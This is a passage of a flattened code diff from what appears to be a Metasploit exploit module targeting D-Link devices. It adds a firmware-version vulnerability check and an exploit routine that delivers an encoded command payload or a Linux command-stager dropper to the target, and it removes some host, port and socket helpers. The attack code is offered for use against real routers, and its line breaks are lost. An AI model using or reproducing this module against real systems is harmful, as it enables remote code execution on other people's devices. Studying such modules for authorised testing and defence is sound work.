res.body =~ /d-?link/i - def rhost - datastore['RHOST'] - end + # check if firmware version is vulnerable + return CheckCode::Appears("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") if vuln_version?(res) + # D-link devices with fixed firmware versions + return CheckCode::Safe("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") unless @d_link['arch'].nil? + # D-link devices that still could be vulnerable with product information + return CheckCode::Detected("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") unless @d_link['product'].nil? - def rport - datastore['RPORT'] + # D-link devices that still could be vulnerable but no product information available + return CheckCode::Detected end - def peer - "#{rhost}:#{rport}" + def exploit + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + # Don't check the response here since the server won't respond + # if the payload is successfully executed. + execute_cmdstager({ linemax: target.opts['Linemax'] }) + end end - - # Accessor for our UDP socket - attr_accessor :udp_sock - end